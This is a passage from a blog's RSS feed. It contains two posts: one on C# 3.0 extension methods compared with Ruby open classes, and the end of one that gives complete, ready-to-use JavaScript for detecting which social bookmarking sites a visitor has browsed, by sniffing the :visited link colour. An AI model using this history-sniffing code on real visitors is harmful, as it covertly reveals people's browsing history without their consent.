against the user's previous history. Previously visited links receive a special &lt;/em&gt;&lt;a href="http://www.w3.org/TR/REC-CSS2/selector.html%23link-pseudo-classes"&gt;&lt;em&gt;&lt;acronym&gt;CSS&lt;/acronym&gt; pseudo-class
distinction of &lt;code&gt;:visited&lt;/code&gt;&lt;/em&gt;&lt;/a&gt;&lt;em&gt; and may receive special styling.&lt;/em&gt;
&lt;br&gt;
...&lt;br&gt;
&lt;em&gt;Any website can test a known set of links against the current visitor's browser
history using standard JavaScript.&lt;/em&gt;
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;em&gt;Place your set of links on the page at load or dynamically using the &lt;acronym&gt;DOM&lt;/acronym&gt; access
methods.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Attach a special &lt;code&gt;color&lt;/code&gt; to each visited link in your test set using
finely scoped &lt;acronym&gt;CSS&lt;/acronym&gt;.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Walk the evaluated &lt;acronym&gt;DOM&lt;/acronym&gt; for each link in your test set, comparing
the link's &lt;code&gt;color&lt;/code&gt; &lt;code&gt;style&lt;/code&gt; against your previously defined value.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Record each link that matches the expected value.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Customize content based on this new information (optional).&lt;/em&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;em&gt;Each link needs to be explicitly specified and evaluated. The standard rules of &lt;acronym&gt;URL&lt;/acronym&gt; structure
still apply, which means we are evaluating a distinct combination of &lt;code&gt;scheme&lt;/code&gt;, &lt;code&gt;host&lt;/code&gt;,
and &lt;code&gt;path&lt;/code&gt;. We do not have access to wildcard or 
&lt;ABBR title="regular expressions"&gt;
regex
&lt;/ABBR&gt;
definitions of a linked resource.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Niall goes on to describe the common ways one can improve the user experience on a
site using this technique. I’ve been considering using this approach to reduce &lt;a href="http://www.codinghorror.com/blog/archives/000587.html"&gt;the&amp;nbsp;excess
blog flair&lt;/a&gt; on my weblog. It doesn’t make much sense to show people a “submit to
reddit” button&amp;nbsp;&lt;img alt="" src="http://static.reddit.com/blog_snoo.png" border=0&gt;&amp;nbsp;if
they don’t use &lt;a href="http://www.reddit.com/"&gt;reddit&lt;/a&gt;. The approach suggested
in Niall’s article makes it possible for me to detect what sites a user visits and
then only display relevant flair on my blog posts. Unfortunately neither of Niall’s
posts on the topic provide example code which is why I’m posting this follow up to
Niall’s post. Below is an HTML page that uses&amp;nbsp;Javascript function to return which
social bookmarking sites a viewer of a Web page actually uses based on their browser
history. 
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;pre&gt;&lt;code&gt; &amp;lt;html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="en" lang="en"&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;What Social Bookmarking Sites
Do You Use?&amp;lt;/title&amp;gt; &amp;lt;script type="text/javascript"&amp;gt; var bookmarking_sites
= new Array("http://programming.reddit.com", "http://www.dzone.com", "http://www.digg.com",
"http://del.icio.us", "http://www.stumbleupon.com", "http://ma.gnolia.com", "http://www.dotnetkicks.com/",
"http://slashdot.org") function DetectSites() { var testelem = document.getElementById("linktest");
var visited_sites = document.getElementById("visited_sites"); var linkColor; var isVisited
= false; for (var i = 0; i &amp;lt; bookmarking_sites.length; i++) { var url2test = document.createElement("a");
url2test.href = bookmarking_sites[i]; url2test.innerHTML = "I'm invisible, you can't
click me"; testelem.appendChild(url2test); if(document.defaultView){ //Mozilla linkColor
= document.defaultView.getComputedStyle(url2test,null).getPropertyValue("color");
if(linkColor == "rgb(100, 149, 237)"){ isVisited = true; } }else if(url2test.currentStyle){
//IE if(url2test.currentStyle.color == "cornflowerblue"){ isVisited = true; } } if
(isVisited) { visited_sites.innerHTML = visited_sites.innerHTML + "&amp;lt;a href='" +
url2test.href + "'&amp;gt;" + url2test.href + "&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;" } testelem.removeChild(url2test);
isVisited = false; } } &amp;lt;/script&amp;gt; &amp;lt;style type="text/css"&amp;gt; p#linktest a:visited
{ color: CornflowerBlue } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body onload="DetectSites()"&amp;gt;
&amp;lt;b&amp;gt;Social Bookmarking Sites You've Visited&amp;lt;/b&amp;gt; &amp;lt;p id="linktest" style="visibility:hidden"
/&amp;gt; &amp;lt;p id="visited_sites" /&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 
&lt;/pre&gt;&gt;&lt;/blockquote&gt; 
&lt;p dir=ltr&gt;
Of course, after writing the aforementioned code it occured to me run a Web&amp;nbsp;search
and I found that&amp;nbsp;there are bits of code for doing this all over the Web in&amp;nbsp;places
like &lt;a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html"&gt;Jermiah
Grossman’s blog&lt;/a&gt; (Firefox only) and&amp;nbsp;&lt;a href="http://www.gnucitizen.org/projects/javascript-visited-link-scanner/"&gt;GNUCITIZEN&lt;/a&gt;.&amp;nbsp;
&lt;/p&gt;
&lt;p dir=ltr&gt;
At least now I have it in a handy format; cut, paste and go. 
&lt;/p&gt;
&lt;p dir=ltr&gt;
Now all I need is some free time which in which to tweak my weblogt to start using
the above function instead of showing people links to services they don’t use. 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Disturbed"&gt;Disturbed&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Numb&amp;amp;artistTerm=Disturbed"&gt;Numb&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=7856ce93-4146-433f-8e66-24f9182ca974" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,7856ce93-4146-433f-8e66-24f9182ca974.aspx</comments>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=9be0cbf1-2fc4-43d6-a764-5ef50e090673</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,9be0cbf1-2fc4-43d6-a764-5ef50e090673.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,9be0cbf1-2fc4-43d6-a764-5ef50e090673.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=9be0cbf1-2fc4-43d6-a764-5ef50e090673</wfw:commentRss>
      <slash:comments>5</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
        </p>
        <p>
I’ve finally broken down and used the <a href="http://weblogs.asp.net/scottgu/archive/2007/03/13/new-orcas-language-feature-extension-methods.aspx">Extension
methods feature</a> in C# 3.0. The feature is similar to the concept of “open classes”
in Ruby described in Neal Ford’s post <a href="http://memeagora.blogspot.com/2007/05/are-open-classes-evil.html">Are
Open Classes Evil?</a> which contains the following excerpt 
</p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <p>
            <font color="#ff0000">Open classes in dynamic languages allow you to crack open a
class and add your own methods to it.</font> In Groovy, it's done with either a <code>Category</code> or
the Expando Meta-class (which I think is a great name). JRuby allows you to do this
to Java classes as well. For example, you can add methods to the <code>ArrayList</code> class
thusly: 
<br /><code></code></p>
          <pre>require "java"<br />
include_class "java.util.ArrayList"<br />
list = ArrayList.new<br />
%w(Red Green Blue).each { |color| list.add(color) }<br /><br />
# Add "first" method to proxy of Java ArrayList class.<br />
class ArrayList<br />
def first<br />
size == 0 ? nil : get(0)<br />
end<br />
end<br />
puts "first item is #{list.first}"<br /></pre>
          <p>
            <br />
            <font face="Trebuchet MS">Here, I just crack open the </font>
            <code>ArrayList</code>
            <font face="Trebuchet MS"> class
and add a </font>
            <code>first</code>
            <font face="Trebuchet MS"> method (which probably
should have been there anyway, no?).</font>
          </p>
        </blockquote>
        <p dir="ltr">
          <font face="Trebuchet MS">In my case, I added a CanonicalizedUri() method the System.Uri
class because I was tired of how we had to have all sorts of special case code to
deal with canonicalizing URIs because <a href="http://msdn2.microsoft.com/en-us/library/system.uri.absoluteuri.aspx">Uri.AbsoluteUri
property</a> would not represent <a href="http://www.example.com/">http://www.example.com</a> and <a href="http://www.example.com/">http://www.example.com/</a> as
the same URI and a couple of other special cases.  My extension method is shown
below </font>
        </p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1">
          </font>
          <font color="#808080" size="1">&lt;summary&gt;
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1"> Helper
class used to add extension method to the System.Uri class. 
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1">
          </font>
          <font color="#808080" size="1">&lt;/summary&gt;
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#0000ff" size="1">public</font>
          <font size="1">
          </font>
          <font color="#0000ff" size="1">static</font>
          <font size="1">
          </font>
          <font color="#0000ff" size="1">class</font>
          <font size="1">
          </font>
          <font color="#2b91af" size="1">UriHelper
</font>
          <font size="1">
            <p>
{
</p>
          </font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1">
          </font>
          <font color="#808080" size="1">&lt;summary&gt;
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1"> Returns
a the URI canonicalized in the following way. (1) if the file is a UNC or file URI
then it only returns the local part. 
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1"> (2)
for Web URIs it removes trailing slashes and preceding "www." 
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1">
          </font>
          <font color="#808080" size="1">&lt;/summary&gt;
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1">
          </font>
          <font color="#808080" size="1">&lt;param
name="uri"&gt;</font>
          <font color="#008000" size="1">The URI to canonicalize</font>
          <font color="#808080" size="1">&lt;/param&gt;
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#808080" size="1">///</font>
          <font color="#008000" size="1">
          </font>
          <font color="#808080" size="1">&lt;returns&gt;</font>
          <font color="#008000" size="1">The
canonicalized URI as a string</font>
          <font color="#808080" size="1">&lt;/returns&gt;
</font>
          <font size="1">
            <p>
            </p>
          </font>
          <font color="#0000ff" size="1">public</font>
          <font size="1">
          </font>
          <font color="#0000ff" size="1">static</font>
          <font size="1">
          </font>
          <font color="#0000ff" size="1">string</font>
          <font size="1"> CanonicalizedUri(</font>
          <font color="#0000ff" size="1">this</font>
          <font size="1">
          </font>
          <font color="#2b91af" size="1">Uri</font>
          <font size="1"> uri)
<p>
{
</p><p></p></font>
          <font color="#0000ff" size="1">if</font>
          <font size="1"> (uri</font>
          <font color="#800080" size="1">.</font>
          <font size="1">IsFile </font>
          <font color="#800080" size="1">||</font>
          <font size="1"> uri</font>
          <font color="#800080" size="1">.</font>
          <font size="1">IsUnc)
<p></p></font>
          <font color="#0000ff" size="1">return</font>
          <font size="1"> uri</font>
          <font color="#800080" size="1">.</font>
          <font size="1">LocalPath;
<p></p></font>
          <font color="#2b91af" size="1">UriBuilder</font>
          <font size="1"> builder </font>
          <font color="#800080" size="1">=</font>
          <font size="1">
          </font>
          <font color="#0000ff" size="1">new</font>
          <font size="1">
          </font>
          <font color="#2b91af" size="1">UriBuilder</font>
          <font size="1">(uri);
<p>
builder
</p></font>
          <font color="#800080" size="1">.</font>
          <font size="1">Host </font>
          <font color="#800080" size="1">=</font>
          <font size="1"> (builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Host</font>
          <font color="#800080" size="1">.</font>
          <font size="1">ToLower()</font>
          <font color="#800080" size="1">.</font>
          <font size="1">StartsWith(</font>
          <font color="#a31515" size="1">"www."</font>
          <font size="1">) </font>
          <font color="#800080" size="1">?</font>
          <font size="1"> builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Host</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Substring(4)
: builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Host);
<p>
builder
</p></font>
          <font color="#800080" size="1">.</font>
          <font size="1">Path </font>
          <font color="#800080" size="1">=</font>
          <font size="1"> (builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Path</font>
          <font color="#800080" size="1">.</font>
          <font size="1">EndsWith(</font>
          <font color="#a31515" size="1">"/"</font>
          <font size="1">) </font>
          <font color="#800080" size="1">?</font>
          <font size="1"> builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Path</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Substring(0,
builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Path</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Length </font>
          <font color="#800080" size="1">-</font>
          <font size="1"> 1)
: builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Path); 
<p></p></font>
          <font color="#0000ff" size="1">return</font>
          <font size="1"> builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">ToString()</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Replace(</font>
          <font color="#a31515" size="1">":"</font>
          <font size="1">
          </font>
          <font color="#800080" size="1">+</font>
          <font size="1"> builder</font>
          <font color="#800080" size="1">.</font>
          <font size="1">Port </font>
          <font color="#800080" size="1">+</font>
          <font size="1">
          </font>
          <font color="#a31515" size="1">"/"</font>
          <font size="1">, </font>
          <font color="#a31515" size="1">"/"</font>
          <font size="1">);
<p>
}
</p><p>
}
</p></font>
        </blockquote>
        <p dir="ltr">
Now everywhere we used to have special case code for canonicalizing a URI, we just
replace that with a call to uri.CanonicalizedUri(). It’s intoxicating how liberating it
feels to be able to “fix” classes in this way.  
</p>
        <p dir="ltr">
I have seen some complain that coupling this feature with Intellisense (i.e. method
name autocomplete) leads to an overwhelming experience. Compare the following screenshots
from Jessica Folser’s post <a href="http://jfoscoding.blogspot.com/2008/01/using-systemlinq-sometimes-more-isnt.html">using
System.Linq, sometimes more isn't better</a> which shows the difference between
hitting ‘.’ on an Array with the System.Linq namespace included versus not. Note that
the System.Linq namespace defines a number of extension methods for the Array class
and its base classes. 
</p>
        <p dir="ltr">
WITHOUT SYSTEM.LINQ (20 methods)<br /><img alt="Without System.Linq, Array has 20 methods" src="http://jfoscoding.googlepages.com/nolinq.jpg" text="Without System.Linq, Array has 20 methods" /></p>
USING SYSTEM.LINQ (68 methods)<br /><p><img alt="Using System.Linq, Array has 68 methods" src="http://jfoscoding.googlepages.com/withlinq.jpg" text="Using System.Linq, Array has 68 methods" /></p><p>
I did find this disconcerting at first but I got used to it. 
</p><p>
It should be noted that “open classes” in Ruby come with a bunch more features than
extension methods in C# 3.0. For example, Ruby has <a href="http://www.rubycentral.com/pickaxe/ref_c_module.html#Module.remove_method">remove_method</a> and <a href="http://www.rubycentral.com/pickaxe/ref_c_module.html#Module.undef_method">undef_method</a> which
allows developers to remove methods from a class. This is particularly useful if there
is a particularly buggy or insecure method you’d rather was not used by developers
in your project. Much better than simply relying on the <a href="http://blogs.msdn.com/brada/archive/2004/11/22/267950.aspx">Obsolete
attribute</a>. <img title="Smile" style="VERTICAL-ALIGN: middle" alt="Smile" src="http://shared.live.com/QGncRMHLLpIcOfCh--4aMA/emoticons/smile_regular.gif" /></p><p>
One problem I had with C# is that I can’t create an extension property only methods
(so my CanonicalizedUri() had to be a method not a property like Uri.AbsoluteUri). 
I assume this is due to difficulty in coming up with a backwards compatible extension
to the syntax for properties. Either way, it sucks. You can count me as another developer
who is <a href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1170257&amp;SiteID=1">voting
for extension properties in C# 4.0</a> (or whatever comes next). 
</p><p><strong>Now playing:</strong><a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Oomp Camp">Oomp
Camp</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Intoxicated&amp;artistTerm=Oomp Camp">Intoxicated</a></p><img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=9be0cbf1-2fc4-43d6-a764-5ef50e090673" /></body>
      <title>C# 3.0 vs. Ruby: Thoughts on Extension Methods and Open Classes</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,9be0cbf1-2fc4-43d6-a764-5ef50e090673.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/01/23/C30VsRubyThoughtsOnExtensionMethodsAndOpenClasses.aspx</link>
      <pubDate>Wed, 23 Jan 2008 04:00:01 GMT</pubDate>
      <description>&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
I’ve finally broken down and used the &lt;a href="http://weblogs.asp.net/scottgu/archive/2007/03/13/new-orcas-language-feature-extension-methods.aspx"&gt;Extension
methods feature&lt;/a&gt; in C# 3.0. The feature is similar to the concept of “open classes”
in Ruby&amp;nbsp;described in Neal Ford’s post &lt;a href="http://memeagora.blogspot.com/2007/05/are-open-classes-evil.html"&gt;Are
Open Classes Evil?&lt;/a&gt;&amp;nbsp;which contains the following excerpt 
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt; 
&lt;p&gt;
&lt;font color=#ff0000&gt;Open classes in dynamic languages allow you to crack open a class
and add your own methods to it.&lt;/font&gt; In Groovy, it's done with either a &lt;code&gt;Category&lt;/code&gt; or
the Expando Meta-class (which I think is a great name). JRuby allows you to do this
to Java classes as well. For example, you can add methods to the &lt;code&gt;ArrayList&lt;/code&gt; class
thusly: 
&lt;br&gt;
&lt;code&gt;
&lt;/p&gt;
&lt;pre&gt;require "java"&lt;br&gt;
include_class "java.util.ArrayList"&lt;br&gt;
list = ArrayList.new&lt;br&gt;
%w(Red Green Blue).each { |color| list.add(color) }&lt;br&gt;
&lt;br&gt;
# Add "first" method to proxy of Java ArrayList class.&lt;br&gt;
class ArrayList&lt;br&gt;
def first&lt;br&gt;
size == 0 ? nil : get(0)&lt;br&gt;
end&lt;br&gt;
end&lt;br&gt;
puts "first item is #{list.first}"&lt;br&gt;
&lt;/pre&gt;&gt; 
&lt;p&gt;
&lt;br&gt;
&lt;font face="Trebuchet MS"&gt;Here, I just crack open the &lt;/font&gt;&lt;code&gt;ArrayList&lt;/code&gt;&lt;font face="Trebuchet MS"&gt; class
and add a &lt;/font&gt;&lt;code&gt;first&lt;/code&gt;&lt;font face="Trebuchet MS"&gt; method (which probably
should have been there anyway, no?).&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p dir=ltr&gt;
&lt;font face="Trebuchet MS"&gt;In my case, I added a CanonicalizedUri() method the System.Uri
class because I was tired of how we had to have all sorts of special case code to
deal with canonicalizing URIs because &lt;a href="http://msdn2.microsoft.com/en-us/library/system.uri.absoluteuri.aspx"&gt;Uri.AbsoluteUri
property&lt;/a&gt; would not represent &lt;a href="http://www.example.com/"&gt;http://www.example.com&lt;/a&gt; and &lt;a href="http://www.example.com/"&gt;http://www.example.com/&lt;/a&gt; as
the same URI and a couple of other special cases. &amp;nbsp;My extension method is shown
below &lt;/font&gt;
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; &lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;summary&amp;gt;&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; Helper class
used to add extension method to the System.Uri class. &gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; &lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;/summary&amp;gt;&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#0000ff size=1&gt;public&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#0000ff size=1&gt;static&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#0000ff size=1&gt;class&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#2b91af size=1&gt;UriHelper&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
{
&lt;/p&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; &lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;summary&amp;gt;&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; Returns a
the URI canonicalized in the following way. (1) if the file is a UNC or file URI then
it only returns the local part. &gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; (2) for Web
URIs it removes trailing slashes and preceding "www." &gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; &lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;/summary&amp;gt;&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; &lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;param
name="uri"&amp;gt;&lt;/font&gt;&lt;font color=#008000 size=1&gt;The URI to canonicalize&lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;/param&amp;gt;&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#808080 size=1&gt;///&lt;/font&gt;&lt;font color=#008000 size=1&gt; &lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;returns&amp;gt;&lt;/font&gt;&lt;font color=#008000 size=1&gt;The
canonicalized URI as a string&lt;/font&gt;&lt;font color=#808080 size=1&gt;&amp;lt;/returns&amp;gt;&gt;
&lt;/font&gt;&lt;font size=1&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color=#0000ff size=1&gt;public&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#0000ff size=1&gt;static&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#0000ff size=1&gt;string&lt;/font&gt;&lt;font size=1&gt; CanonicalizedUri(&lt;/font&gt;&lt;font color=#0000ff size=1&gt;this&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#2b91af size=1&gt;Uri&lt;/font&gt;&lt;font size=1&gt; uri)&gt;
&lt;p&gt;
{
&lt;/p&gt;
&lt;p&gt;
&lt;/font&gt;&lt;font color=#0000ff size=1&gt;if&lt;/font&gt;&lt;font size=1&gt; (uri&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;IsFile &lt;/font&gt;&lt;font color=#800080 size=1&gt;||&lt;/font&gt;&lt;font size=1&gt; uri&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;IsUnc)&gt;
&lt;p&gt;
&lt;/font&gt;&lt;font color=#0000ff size=1&gt;return&lt;/font&gt;&lt;font size=1&gt; uri&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;LocalPath;&gt;
&lt;p&gt;
&lt;/font&gt;&lt;font color=#2b91af size=1&gt;UriBuilder&lt;/font&gt;&lt;font size=1&gt; builder &lt;/font&gt;&lt;font color=#800080 size=1&gt;=&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#0000ff size=1&gt;new&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#2b91af size=1&gt;UriBuilder&lt;/font&gt;&lt;font size=1&gt;(uri);&gt;
&lt;p&gt;
builder
&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Host &lt;/font&gt;&lt;font color=#800080 size=1&gt;=&lt;/font&gt;&lt;font size=1&gt; (builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Host&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;ToLower()&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;StartsWith(&lt;/font&gt;&lt;font color=#a31515 size=1&gt;"www."&lt;/font&gt;&lt;font size=1&gt;) &lt;/font&gt;&lt;font color=#800080 size=1&gt;?&lt;/font&gt;&lt;font size=1&gt; builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Host&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Substring(4)
: builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Host);&gt;
&lt;p&gt;
builder
&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Path &lt;/font&gt;&lt;font color=#800080 size=1&gt;=&lt;/font&gt;&lt;font size=1&gt; (builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Path&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;EndsWith(&lt;/font&gt;&lt;font color=#a31515 size=1&gt;"/"&lt;/font&gt;&lt;font size=1&gt;) &lt;/font&gt;&lt;font color=#800080 size=1&gt;?&lt;/font&gt;&lt;font size=1&gt; builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Path&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Substring(0,
builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Path&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Length &lt;/font&gt;&lt;font color=#800080 size=1&gt;-&lt;/font&gt;&lt;font size=1&gt; 1)
: builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Path); &gt;
&lt;p&gt;
&lt;/font&gt;&lt;font color=#0000ff size=1&gt;return&lt;/font&gt;&lt;font size=1&gt; builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;ToString()&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Replace(&lt;/font&gt;&lt;font color=#a31515 size=1&gt;":"&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#800080 size=1&gt;+&lt;/font&gt;&lt;font size=1&gt; builder&lt;/font&gt;&lt;font color=#800080 size=1&gt;.&lt;/font&gt;&lt;font size=1&gt;Port &lt;/font&gt;&lt;font color=#800080 size=1&gt;+&lt;/font&gt;&lt;font size=1&gt; &lt;/font&gt;&lt;font color=#a31515 size=1&gt;"/"&lt;/font&gt;&lt;font size=1&gt;, &lt;/font&gt;&lt;font color=#a31515 size=1&gt;"/"&lt;/font&gt;&lt;font size=1&gt;);&gt;
&lt;p&gt;
}
&lt;/p&gt;
&lt;p&gt;
}
&lt;/p&gt;
&lt;/font&gt;&lt;/blockquote&gt; 
&lt;p dir=ltr&gt;
Now everywhere we used to have special case code for canonicalizing a URI, we just
replace that with a call to uri.CanonicalizedUri(). It’s intoxicating how liberating&amp;nbsp;it
feels to be able to “fix”&amp;nbsp;classes in this&amp;nbsp;way.&amp;nbsp;&amp;nbsp;
&lt;/p&gt;
&lt;p dir=ltr&gt;
I have seen some complain that coupling this feature with Intellisense (i.e. method
name autocomplete) leads to an overwhelming experience. Compare the following screenshots
from Jessica Folser’s post &lt;a href="http://jfoscoding.blogspot.com/2008/01/using-systemlinq-sometimes-more-isnt.html"&gt;using
System.Linq, sometimes more isn't better&lt;/a&gt;&amp;nbsp;which shows the difference between
hitting ‘.’ on an Array with the System.Linq namespace included versus not. Note that
the System.Linq namespace defines a number of extension methods for the Array class
and its base classes. 
&lt;/p&gt;
&lt;p dir=ltr&gt;
WITHOUT SYSTEM.LINQ (20 methods)&lt;br&gt;
